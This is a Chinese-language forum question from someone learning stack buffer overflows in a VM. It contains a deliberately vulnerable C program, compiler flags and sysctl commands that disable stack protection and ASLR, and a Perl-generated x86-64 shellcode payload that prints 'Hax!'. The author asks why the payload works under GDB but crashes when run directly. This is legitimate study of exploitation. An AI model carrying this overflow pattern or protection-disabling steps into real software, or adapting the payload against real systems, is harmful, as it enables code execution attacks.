很久以前,我阅读了有关 Stack 位于 Buffer Overflows 的信息,但决定设置一个虚拟机并在实践中实际看到它们。
以下代码是易受攻击的程序:
#include<string.h>
void go(char *data){
char name[64];
strcpy(name, data);
}
int main(int argc, char **argv){
go(argv[1]);
}
它是使用 GCC 上的-zexecstack
and-fno-stack-protector
选项编译的,以允许堆栈中的代码可执行并禁用程序内置的堆栈溢出保护(“金丝雀”值)。
gcc vuln.c -o vuln -zexecstack -fno-stack-protector -g
然后我用GDB找出name
栈上的内存位置,找到如下地址:0x7fffffffdc10
由于我的 VM 具有最新的 linux 版本,我不得不通过运行:
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
或sudo sysctl -w kernel.randomize_va_space=0
.
shellcode 取自我在网上找到的一篇关于 Stack Smashing 的文章,并通过 Perl 脚本提供给程序:
perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'
作为 shellcode 的前 45 个字节(应该在屏幕上写“Hax!”),一些额外的 27 个“A”字节以使指针位于正确的位置,最后是有效载荷的起始地址(小端序)。
问题是:
在 GDB 上运行程序时,通过:
gdb vuln
>run `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'`
我可以运行 shellcode 和“Hax!” 输出。
当试图在 GDB 之外运行程序时
./vuln `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'`
我收到一个Illegal instruction (core dumped)
错误而不是“Hax!” 输出。
我一直在努力想弄清楚这种不同行为的原因是什么。显然 GDB 默认禁用 ASLR,但是我也在sysctl
内核上禁用了它。内核可以忽略kernel.randomize_va_space
变量吗?或者内存地址可能不同,即使是静态的,在 GDB 和真实进程上?或者,也许真正的进程实际上正在运行 shellcode,但是 GDB 忽略/绕过的真正进程出了问题?
关于可能是什么原因的任何想法?